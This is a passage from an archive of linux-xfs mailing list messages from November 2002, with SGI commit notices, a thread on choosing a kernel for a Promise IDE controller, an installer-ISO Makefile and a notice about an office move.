daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id JAA30426 for ; Thu, 21 Nov 2002 09:47:08 -0600 (CST) Received: from lab343.munich.sgi.com (lab343.munich.sgi.com [144.253.195.43]) by nodin.corp.sgi.com (8.12.3/8.11.4/nodin-1.0) with ESMTP id gALFl6Qb35654141 for ; Thu, 21 Nov 2002 07:47:07 -0800 (PST) Received: from lab343.munich.sgi.com (localhost [127.0.0.1]) by lab343.munich.sgi.com (8.12.3/8.12.2/SuSE Linux 0.6) with ESMTP id gALFjauR002084 for ; Thu, 21 Nov 2002 16:45:37 +0100 Received: (from hch@localhost) by lab343.munich.sgi.com (8.12.3/8.12.2/Submit) id gALFja5S002083 for hch@sgi.com; Thu, 21 Nov 2002 16:45:36 +0100 Date: Thu, 21 Nov 2002 16:45:36 +0100 From: Christoph Hellwig Message-Id: <200211211545.gALFja5S002083@lab343.munich.sgi.com> Subject: TAKE - remove unused variable in pagebuf To: undisclosed-recipients:; Resent-From: hch@sgi.com Resent-Date: Thu, 21 Nov 2002 18:05:12 -0500 Resent-To: linux-xfs@oss.sgi.com X-archive-position: 1821 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@sgi.com Precedence: bulk X-list: linux-xfs Date: Thu Nov 21 07:43:11 PST 2002 Workarea: lab343.munich.sgi.com:/home/hch/repo/slinx/2.5.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: 2.5.x-xfs:slinx:133724a linux/fs/xfs/pagebuf/page_buf.c - 1.78 - remove unused variable 'sectorshift' in pagebuf_iorequest From owner-linux-xfs@oss.sgi.com Thu Nov 21 07:48:51 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 21 Nov 2002 07:48:53 -0800 (PST) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gALFmpuR006794 for ; Thu, 21 Nov 2002 07:48:51 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by zok.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gALEsjKp026567 for ; Thu, 21 Nov 2002 06:54:45 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id JAA52942 for ; Thu, 21 Nov 2002 09:50:50 -0600 (CST) Received: from taclab54.munich.sgi.com (taclab54.munich.sgi.com [144.253.195.54]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id JAA69317 for ; Thu, 21 Nov 2002 09:50:56 -0600 (CST) Received: (from hch@localhost) by taclab54.munich.sgi.com (8.11.6/8.11.6) id gALN5It02846 for linux-xfs@oss.sgi.com; Thu, 21 Nov 2002 18:05:18 -0500 Resent-Message-Id: <200211212305.gALN5It02846@taclab54.munich.sgi.com> Received: from nodin.corp.sgi.com (nodin.corp.sgi.com [192.26.51.193]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id JAA79400 for ; Thu, 21 Nov 2002 09:49:57 -0600 (CST) Received: from lab343.munich.sgi.com (lab343.munich.sgi.com [144.253.195.43]) by nodin.corp.sgi.com (8.12.3/8.11.4/nodin-1.0) with ESMTP id gALFnuQb33770437 for ; Thu, 21 Nov 2002 07:49:56 -0800 (PST) Received: from lab343.munich.sgi.com (localhost [127.0.0.1]) by lab343.munich.sgi.com (8.12.3/8.12.2/SuSE Linux 0.6) with ESMTP id gALFmRuR002155 for ; Thu, 21 Nov 2002 16:48:27 +0100 Received: (from hch@localhost) by lab343.munich.sgi.com (8.12.3/8.12.2/Submit) id gALFmRvw002154 for hch@sgi.com; Thu, 21 Nov 2002 16:48:27 +0100 Date: Thu, 21 Nov 2002 16:48:27 +0100 From: Christoph Hellwig Message-Id: <200211211548.gALFmRvw002154@lab343.munich.sgi.com> Subject: TAKE - use find_trylock_page in the I/O code To: undisclosed-recipients:; Resent-From: hch@sgi.com Resent-Date: Thu, 21 Nov 2002 18:05:18 -0500 Resent-To: linux-xfs@oss.sgi.com X-archive-position: 1822 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@sgi.com Precedence: bulk X-list: linux-xfs Date: Thu Nov 21 07:49:11 PST 2002 Workarea: lab343.munich.sgi.com:/home/hch/repo/slinx/2.5.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: 2.5.x-xfs:slinx:133725a linux/fs/xfs/linux/xfs_aops.c - 1.20 - use find_trylock_page instead of find_get_page + TestSetPageLocked From owner-linux-xfs@oss.sgi.com Thu Nov 21 08:19:57 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 21 Nov 2002 08:20:03 -0800 (PST) Received: from ubergeek ([209.184.141.189]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gALGJuuR007926 for ; Thu, 21 Nov 2002 08:19:57 -0800 Received: (qmail 11163 invoked by uid 500); 21 Nov 2002 16:20:19 -0000 Subject: Re: Choosing the right kernel for XFS From: Austin Gonyou To: Karl Ran Cc: XFS List In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Coremetrics, Inc. Message-Id: <1037895618.497.19.camel@UberGeek> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.0 Date: 21 Nov 2002 10:20:19 -0600 X-archive-position: 1823 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: austin@coremetrics.com Precedence: bulk X-list: linux-xfs I prefer to take the road of getting exactly what I want. Use a standard kernel with XFS patches, then find the promise patch and patch your xfs enabled kernel with that. On Thu, 2002-11-21 at 04:33, Karl Ran wrote: > Hi, > I've been using 2.4.18 and xfs for some months now - it works great! > > Now I'd like to use the second onboard IDE controller now. > It's a Promise ULTRA133 PDC20276 (on a P4B533E). > > The problem: > 2.4.18 has no support for the PDC20276. > 2.4.19 has no support for DMA on first IDE controller(Intel ICH4). > 2.4.19-ac1 works for both IDE controllers but is not supported by XFS > :( > > What should I do? > > > Thanks, > Karl > > > > _________________________________________________________________ > Protect your PC - get McAfee.com VirusScan Online > http://clinic.mcafee.com/clinic/ibuy/campaign.asp?cid=3963 -- Austin Gonyou Coremetrics, Inc. From owner-linux-xfs@oss.sgi.com Thu Nov 21 08:30:45 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 21 Nov 2002 08:30:47 -0800 (PST) Received: from hotmail.com (f55.law12.hotmail.com [64.4.19.55]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gALGUjuR008408 for ; Thu, 21 Nov 2002 08:30:45 -0800 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 21 Nov 2002 08:32:53 -0800 Received: from 212.185.252.194 by lw12fd.law12.hotmail.msn.com with HTTP; Thu, 21 Nov 2002 16:32:53 GMT X-Originating-IP: [212.185.252.194] From: "Karl Ran" To: austin@coremetrics.com Cc: linux-xfs@oss.sgi.com Subject: Re: Choosing the right kernel for XFS Date: Thu, 21 Nov 2002 16:32:53 +0000 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 21 Nov 2002 16:32:53.0850 (UTC) FILETIME=[A4039BA0:01C2917B] X-archive-position: 1824 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: karlran@hotmail.com Precedence: bulk X-list: linux-xfs >I prefer to take the road of getting exactly what I want. Use a standard >kernel with XFS patches, then find the promise patch and patch your xfs >enabled kernel with that. Sounds too good to be true! Anybody knows where I can find 'the promise patch' for 2.4.18? Karl _________________________________________________________________ Add photos to your e-mail with MSN 8. Get 2 months FREE*. http://join.msn.com/?page=features/featuredemail From owner-linux-xfs@oss.sgi.com Thu Nov 21 08:37:20 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 21 Nov 2002 08:37:22 -0800 (PST) Received: from tolkor.sgi.com (tolkor.SGI.COM [198.149.18.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gALGbJuR008863 for ; Thu, 21 Nov 2002 08:37:19 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by tolkor.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gALGhckq032012 for ; Thu, 21 Nov 2002 10:43:41 -0600 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id KAA59990; Thu, 21 Nov 2002 10:39:14 -0600 (CST) Received: from rose.americas.sgi.com (rose.americas.sgi.com [128.162.187.93]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id KAA84152; Thu, 21 Nov 2002 10:39:22 -0600 (CST) Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by rose.americas.sgi.com (8.12.5/8.12.5) with ESMTP id gALGeRpX007269; Thu, 21 Nov 2002 10:40:28 -0600 Subject: Re: How do you do the packaging of the installer ISO? From: Russell Cattelan To: Stefan Smietanowski Cc: linux-xfs@oss.sgi.com In-Reply-To: <3DDCF25F.30404@stesmi.com> References: <3DDCF25F.30404@stesmi.com> Content-Type: multipart/mixed; boundary="=-KRrfiwsXANlpEJKqaUGP" X-Mailer: Ximian Evolution 1.0.8 (1.0.8-10) Date: 21 Nov 2002 10:40:27 -0600 Message-Id: <1037896828.2841.258.camel@rose.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 1825 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cattelan@thebarn.com Precedence: bulk X-list: linux-xfs --=-KRrfiwsXANlpEJKqaUGP Content-Type: text/plain Content-Transfer-Encoding: 7bit I have a Makefile file that handles most of the steps need to build the installer iso. The ordering of the packages is done via the genhdlist cmd. The makefile carefully places all the rpm in separate dirs such that genhdlist can order the hdlist file On Thu, 2002-11-21 at 08:49, Stefan Smietanowski wrote: > Hi! > > This is slightly off topic but I thought I'd ask where to read up on how > RedHat makes their installer images. > > What tools should one use, etc? > > I've searched a bit myself but the only resource I found covered the > RH6.1 release (Or was it 6.2...) and things have changed since then. > > For instance there's a commment there that says "If the package isn't on > THIS CD it's on the other." Now that there are more CDs than that, how > does the installer know that a certain package is on CD 3 for instance? > > I've looked at the various files in the RedHat/base directory and I am > uncertain about a few things. > > For instance - what is the comps.xml file used for ? Only dependencies? > > And the two hdlist files, hdlist and hdlist2. Is the smaller one all > packages on this CD? And the bigger one all packages on all CDs? > > If so, why is the hdlist2 file on the XFS CD smaller than the one on the > RedHat CD1 ? > > Can someone give me a link on information or just a hint on what tools > to use? > > I would be grateful for any help on the matter. > > Thanx! > > // Stefan > --=-KRrfiwsXANlpEJKqaUGP Content-Disposition: attachment; filename=Makefile Content-Transfer-Encoding: quoted-printable Content-Type: text/x-makefile; name=Makefile; charset=ISO-8859-1 BUILDINSTDIR=3D $(shell $(CONFIG_SHELL) )=20 BUILDINSTALL =3D buildinstall KERNSOURCE =3D /build2/SGI ANACONDA_SOURCE =3D /build2/SGI RH_ISO_SOURCE =3D /export/xfs2/psyche #RH_ISO_SOURCE =3D ../psyche BOOTGEN =3D /export/xfs2/PSYCHEinst/bootGen CMD_SOURCE =3D /export/xfs2/x2.4-xfs-r1.2/cmd KERNVERSION =3D 2.4.18-14SGI_XFS_1.2pre2 CDVERS =3D "1031690066.345824\nPsyche 8.0\ni386\n6\nRedHat/base\nRedHat/RP= MS\nRedHat/pixmaps\n" MKISOFS =3D mkisofs IMPLANTISOMD5 =3D /usr/lib/anaconda-runtime/implantisomd5 ISO =3D xfs-`date "+%b%d-%H"`.iso=20 UPDATEIMG =3D updates-`date "+%b%d-%H"`.img LOOPDEV =3D /dev/loop5 COMMANDS =3D xfsprogs xfsdump acl dmapi attr COMMANDRPMS =3D attr attr-devel libattr xfsprogs xfsprogs-devel xfsdump \ acl acl-devel libacl \ dmapi dmapi-devel up_kernel: -rm -f genhdlist/sgi_disc/RedHat/RPMS/kernel-*2.4.18* -rm -f genhdlist/disc?/RedHat/RPMS/kernel-*2.4.18* -rm -f bootGen/RedHat/RPMS/kernel-*2.4.18* rsync -v ${KERNSOURCE}/RPMS/i?86/kernel-*${KERNVERSION}* genhdlist/sgi_dis= c/RedHat/RPMS/ (cd bootGen/RedHat/RPMS; ln -s ../../../genhdlist/sgi_disc/RedHat/RPMS/ker= nel-BOOT-${KERNVERSION}* .) ls -l genhdlist/sgi_disc/RedHat/RPMS/ -rm -f sgiSRPMS/SRPMS/kernel-*2.4.18* rsync -v ${KERNSOURCE}/SRPMS/kernel-${KERNVERSION}* sgiSRPMS/SRPMS/=20 ls -l sgiSRPMS/SRPMS/=09=09 up_cmds: -for d in $(COMMANDRPMS); do \ rm -f genhdlist/sgi_disc/RedHat/RPMS/*$$d-*.i?86.rpm; \ rm -f genhdlist/disc?/RedHat/RPMS/*$$d-*i?86.rpm; \ rm -f bootGen/RedHat/RPMS/*$$d-*i?86.rpm; \ rm -f sgiSRPMS/SRPMS/*$$d-*.src.rpm; \ done for d in $(COMMANDS); do \ rsync -v ${CMD_SOURCE}/$$d/build/rpm/*$$d-*.i?86.rpm genhdlist/sgi_disc/= RedHat/RPMS/; \ rsync -v ${CMD_SOURCE}/$$d/build/rpm/*$$d-*.src.rpm sgiSRPMS/SRPMS/; \ (cd bootGen/RedHat/RPMS; ln -s ../../../genhdlist/sgi_disc/RedHat/= RPMS/*$$d-*.i?86.rpm .); \ ls -l bootGen/RedHat/RPMS/*$$d-*i?86.rpm; \ done # -rm sgiSRPMS/SRPMS/quota-*.src.rpm # -rm genhdlist/sgi_disc/RedHat/RPMS/quota-*.i?86.rpm # rsync -v ${CMD_SOURCE}/../../x2.4-xfs-r1.0/RPMS/*/quota-*.i?86.rpm genhd= list/sgi_disc/RedHat/RPMS/ # rsync -v ${CMD_SOURCE}/../../x2.4-xfs-r1.0/SRPMS/quota-*.src.rpm sgiSRPMS= /SRPMS/ ls -l genhdlist/sgi_disc/RedHat/RPMS/ sgiSRPMS/SRPMS/ up_genhdlist: anaconda-xfs/utils/genhdlist --withnumbers \ --hdlist bootGen/RedHat/base/hdlist \ `pwd`/genhdlist/disc1 \ `pwd`/genhdlist/disc2 \ `pwd`/genhdlist/disc3 \ `pwd`/genhdlist/disc4 \ `pwd`/genhdlist/disc5 \ `pwd`/genhdlist/sgi_disc up_genhdlist-neworder: anaconda-xfs/utils/genhdlist --withnumbers \ --hdlist bootGen/RedHat/base/hdlist \ --fileorder anaconda-xfs/scripts/pkgorder-modified \ `pwd`/genhdlist/disc1 \ `pwd`/genhdlist/disc2 \ `pwd`/genhdlist/disc3 \ `pwd`/genhdlist/disc4 \ `pwd`/genhdlist/disc5 \ `pwd`/genhdlist/sgi_disc #pkgorder-default: # anaconda/anaconda-xfs/scripts/pkgorderHERE \ # `pwd`/bootGen i386 > anaconda/anaconda-xfs/scripts/pkgorder-default # implantisomd5: isofs $(IMPLANTISOMD5) -f ./$(ISO) isofs:=20 $(MKISOFS) -V "SGI XFS 1.2" \ -P SGI -p "xfs-masters@oss.sgi.com" \ -A "SGI Linux XFS 1.2 Installer" \ -boot-load-size 4 \ -boot-info-table \ -no-emul-boot \ -b isolinux/isolinux.bin \ -c isolinux/boot.cat \ -l -f -r -R -J -V -T \ -o ./$(ISO) sgiInstall up_anaconda: -rm -f genhdlist/sgi_disc/RedHat/RPMS/anaconda-* -rm -f sgiSRPMS/SRPMS/anaconda-* -rm -f bootGen/RedHat/RPMS/anaconda-*.rpm -rm -f genhdlist/disc?/RedHat/RPMS/anaconda-*.rpm rsync -v ${ANACONDA_SOURCE}/RPMS/*/anaconda-* genhdlist/sgi_disc/RedHat/RP= MS/ rsync -v ${ANACONDA_SOURCE}/SRPMS/anaconda-* sgiSRPMS/SRPMS/ (cd bootGen/RedHat/RPMS; ln -s ../../../genhdlist/sgi_disc/RedHat/RPMS/ana= conda-* .) buildimg: (cd anaconda-xfs/scripts; ./buildinstall --comp i386 --release SGI-XFS ${= BOOTGEN} ) cdlinks: -mkdir -p sgiInstall/RedHat=09=09 -(cd sgiInstall; ln -s ../sgiSRPMS/SRPMS .; ln -s ../bootGen/dosutils . ; \ ln -s ../bootGen/images . ; ln -s ../bootGen/isolinux . ) -(cd sgiInstall/RedHat; ln -s ../../genhdlist/sgi_disc/RedHat/RPMS . ; \ ln -s ../../bootGen/RedHat/base . ) (cd sgiInstall; printf ${CDVERS} > .discinfo) updatedisk: /sbin/modprobe loop dd if=3D/dev/zero of=3Danaconda/updates/$(UPDATEIMG) bs=3D1k count=3D1440 /sbin/losetup $(LOOPDEV) anaconda/updates/$(UPDATEIMG) /sbin/mke2fs $(LOOPDEV) 1440 mkdir anaconda/updates/foo mount -t ext2 -o loop anaconda/updates/$(UPDATEIMG) anaconda/updates/foo cp anaconda/updates/*.py anaconda/updates/foo umount anaconda/updates/foo rmdir anaconda/updates/foo /sbin/losetup -d $(LOOPDEV) mkdirs: -mkdir -p genhdlist/sgi_disc/RedHat/RPMS -mkdir -p genhdlist/disc1/RedHat/RPMS -mkdir -p genhdlist/disc2/RedHat/RPMS -mkdir -p genhdlist/disc3/RedHat/RPMS -mkdir -p genhdlist/disc4/RedHat/RPMS -mkdir -p genhdlist/disc5/RedHat/RPMS -mkdir -p sgiSRPMS/SRPMS/ seedbootgen: -mkdir -p bootGen/RedHat/RPMS -mkdir -p bootGen/images -mkdir -p bootGen/RedHat/base -mkdir -p bootGen/dosutils (cd bootGen/RedHat/RPMS;rm -f *.rpm; ln -s ${RH_ISO_SOURCE}/disc?/RedHat/= RPMS/*.rpm .) (cd genhdlist/disc1/RedHat/RPMS;rm -f *.rpm; ln -s ${RH_ISO_SOURCE}/disc1= /RedHat/RPMS/*.rpm .) (cd genhdlist/disc2/RedHat/RPMS;rm -f *.rpm; ln -s ${RH_ISO_SOURCE}/disc2= /RedHat/RPMS/*.rpm .) (cd genhdlist/disc3/RedHat/RPMS;rm -f *.rpm; ln -s ${RH_ISO_SOURCE}/disc3= /RedHat/RPMS/*.rpm .) cp ${RH_ISO_SOURCE}/disc1/RedHat/base/comps.rpm bootGen/RedHat/base/ (cd bootGen/RedHat/base; ln -s ../../../compsXFS.xml comps.xml)=20 --=-KRrfiwsXANlpEJKqaUGP-- From owner-linux-xfs@oss.sgi.com Thu Nov 21 08:48:31 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 21 Nov 2002 08:48:33 -0800 (PST) Received: from tolkor.sgi.com (tolkor.SGI.COM [198.149.18.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gALGmTuR009364 for ; Thu, 21 Nov 2002 08:48:31 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by tolkor.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gALGsqkq032240 for ; Thu, 21 Nov 2002 10:54:52 -0600 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id KAA46825 for ; Thu, 21 Nov 2002 10:50:28 -0600 (CST) Received: from taclab54.munich.sgi.com (taclab54.munich.sgi.com [144.253.195.54]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id KAA37092 for ; Thu, 21 Nov 2002 10:50:35 -0600 (CST) Received: (from hch@localhost) by taclab54.munich.sgi.com (8.11.6/8.11.6) id gAM04vD03009 for linux-xfs@oss.sgi.com; Thu, 21 Nov 2002 19:04:57 -0500 Resent-Message-Id: <200211220004.gAM04vD03009@taclab54.munich.sgi.com> Received: from nodin.corp.sgi.com (nodin.corp.sgi.com [192.26.51.193]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id KAA61505 for ; Thu, 21 Nov 2002 10:46:10 -0600 (CST) Received: from lab343.munich.sgi.com (lab343.munich.sgi.com [144.253.195.43]) by nodin.corp.sgi.com (8.12.3/8.11.4/nodin-1.0) with ESMTP id gALGk8Qb35689238 for ; Thu, 21 Nov 2002 08:46:09 -0800 (PST) Received: from lab343.munich.sgi.com (localhost [127.0.0.1]) by lab343.munich.sgi.com (8.12.3/8.12.2/SuSE Linux 0.6) with ESMTP id gALGidLP000960 for ; Thu, 21 Nov 2002 17:44:39 +0100 Received: (from hch@localhost) by lab343.munich.sgi.com (8.12.3/8.12.2/Submit) id gALGidTj000959 for hch@sgi.com; Thu, 21 Nov 2002 17:44:39 +0100 Date: Thu, 21 Nov 2002 17:44:39 +0100 From: Christoph Hellwig Message-Id: <200211211644.gALGidTj000959@lab343.munich.sgi.com> Subject: TAKE - fix off_t abuse in pagebuf To: undisclosed-recipients:; Resent-From: hch@sgi.com Resent-Date: Thu, 21 Nov 2002 19:04:57 -0500 Resent-To: linux-xfs@oss.sgi.com X-archive-position: 1826 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@sgi.com Precedence: bulk X-list: linux-xfs Date: Thu Nov 21 08:43:13 PST 2002 Workarea: lab343.munich.sgi.com:/home/hch/repo/slinx/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:133729a linux/fs/xfs/xfs_buf.h - 1.96 linux/fs/xfs/pagebuf/page_buf.c - 1.79 linux/fs/xfs/pagebuf/page_buf.h - 1.47 - don't use off_t for pagebuf variables From owner-linux-xfs@oss.sgi.com Thu Nov 21 09:13:14 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 21 Nov 2002 09:13:18 -0800 (PST) Received: from imf11bis.bellsouth.net (mail211.mail.bellsouth.net [205.152.58.151]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gALHDDuR010055 for ; Thu, 21 Nov 2002 09:13:13 -0800 Received: from TAZ2 ([67.35.80.252]) by imf11bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20021121171708.CVEG17441.imf11bis.bellsouth.net@TAZ2>; Thu, 21 Nov 2002 12:17:08 -0500 Date: Thu, 21 Nov 2002 12:15:15 -0500 From: Greg Freemyer Subject: re[2]: Choosing the right kernel for XFS To: Karl Ran , cc: Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-Type: Text/plain Message-Id: <20021121171708.CVEG17441.imf11bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id gALHDEuR010056 X-archive-position: 1827 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: freemyer@NorcrossGroup.com Precedence: bulk X-list: linux-xfs >> Sounds too good to be true! >> Anybody knows where I can find 'the promise patch' for 2.4.18? >> Karl Try http://www.promise.com/support/support_eng.asp FYI: Traditionally the promise patches have been binary only. They are built to apply to specific kernels. I don't know if they support a vanilla kernels or not. On another mailing list I read "Finally 2 days ago promise released a opensource module for Fasttrak100 raid controller." Maybe that means that promise is finally seeing the light. Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Thu Nov 21 10:49:10 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 21 Nov 2002 10:49:12 -0800 (PST) Received: from hotmail.com (f109.law12.hotmail.com [64.4.19.109]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gALInAuR011046 for ; Thu, 21 Nov 2002 10:49:10 -0800 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 21 Nov 2002 10:51:19 -0800 Received: from 212.185.252.194 by lw12fd.law12.hotmail.msn.com with HTTP; Thu, 21 Nov 2002 18:51:19 GMT X-Originating-IP: [212.185.252.194] From: "Karl Ran" To: freemyer@NorcrossGroup.com, austin@coremetrics.com Cc: linux-xfs@oss.sgi.com Subject: Re: re[2]: Choosing the right kernel for XFS Date: Thu, 21 Nov 2002 18:51:19 +0000 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 21 Nov 2002 18:51:19.0774 (UTC) FILETIME=[FABB07E0:01C2918E] X-archive-position: 1828 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: karlran@hotmail.com Precedence: bulk X-list: linux-xfs >Maybe that means that promise is finally seeing the light. Huu, I hope so :) Thanks for the info! Karl _________________________________________________________________ The new MSN 8: advanced junk mail protection and 2 months FREE* http://join.msn.com/?page=features/junkmail From owner-linux-xfs@oss.sgi.com Thu Nov 21 11:54:14 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 21 Nov 2002 11:54:20 -0800 (PST) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gALJsDuR012131 for ; Thu, 21 Nov 2002 11:54:14 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by zok.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gALJ09Kp011074 for ; Thu, 21 Nov 2002 11:00:09 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id NAA90237 for ; Thu, 21 Nov 2002 13:56:18 -0600 (CST) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id NAA58086 for ; Thu, 21 Nov 2002 13:56:22 -0600 (CST) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id gALJtDB03959; Thu, 21 Nov 2002 13:55:13 -0600 Subject: Linux XFS support over the next week From: Steve Lord To: linux-xfs@oss.sgi.com Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Message-Id: <1037908513.29278.524.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.0 Date: 21 Nov 2002 13:55:13 -0600 X-archive-position: 1829 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Starting tomorrow, those of us who work on Linux XFS in the USA are going to be unreachable until the start of December. We are moving to a new building over thanksgiving week. Some folks may be around to respond to email. So, if we are even less responsive than usual, you know why ;-) Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Thu Nov 21 12:07:18 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 21 Nov 2002 12:07:20 -0800 (PST) Received: from localhost.localdomain (amoa.org [207.207.51.226]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gALK7HuR012687 for ; Thu, 21 Nov 2002 12:07:17 -0800 Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by localhost.localdomain (8.12.5/8.12.5) with ESMTP id gALK97aM001301 for ; Thu, 21 Nov 2002 14:09:17 -0600 Received: (from ctooley@localhost) by localhost.localdomain (8.12.5/8.12.5/Submit) id gALK8qes001296; Thu, 21 Nov 2002 14:08:52 -0600 X-Authentication-Warning: localhost.localdomain: ctooley set sender to ctooley@amoa.org using -f Subject: Re: Linux XFS support over the next week From: Chris Tooley To: linux-xfs@oss.sgi.com In-Reply-To: <1037908513.29278.524.camel@jen.americas.sgi.com> References: <1037908513.29278.524.camel@jen.americas.sgi.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 (1.0.8-10) Date: 21 Nov 2002 14:08:52 -0600 Message-Id: <1037909332.1265.0.camel@itspec.amoa.org> Mime-Version: 1.0 X-archive-position: 1830 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ctooley@amoa.org Precedence: bulk X-list: linux-xfs How completely unacceptable! I pay a lot for this support and I demand immediate answers. Have fun with the move. Chris On Thu, 2002-11-21 at 13:55, Steve Lord wrote: > > Starting tomorrow, those of us who work on Linux XFS in the USA are > going to be unreachable until the start of December. We are moving > to a new building over thanksgiving week. Some folks may be around > to respond to email. > > So, if we are even less responsive than usual, you know why ;-) > > Steve > > -- > > Steve Lord voice: +1-651-683-3511 > Principal Engineer, Filesystem Software email: lord@sgi.com > > From owner-linux-xfs@oss.sgi.com Thu Nov 21 15:54:02 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 21 Nov 2002 15:54:07 -0800 (PST) Received: from mailout09.sul.t-online.com (mailout09.sul.t-online.com [194.25.134.84]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gALNs1uR016006 for ; Thu, 21 Nov 2002 15:54:01 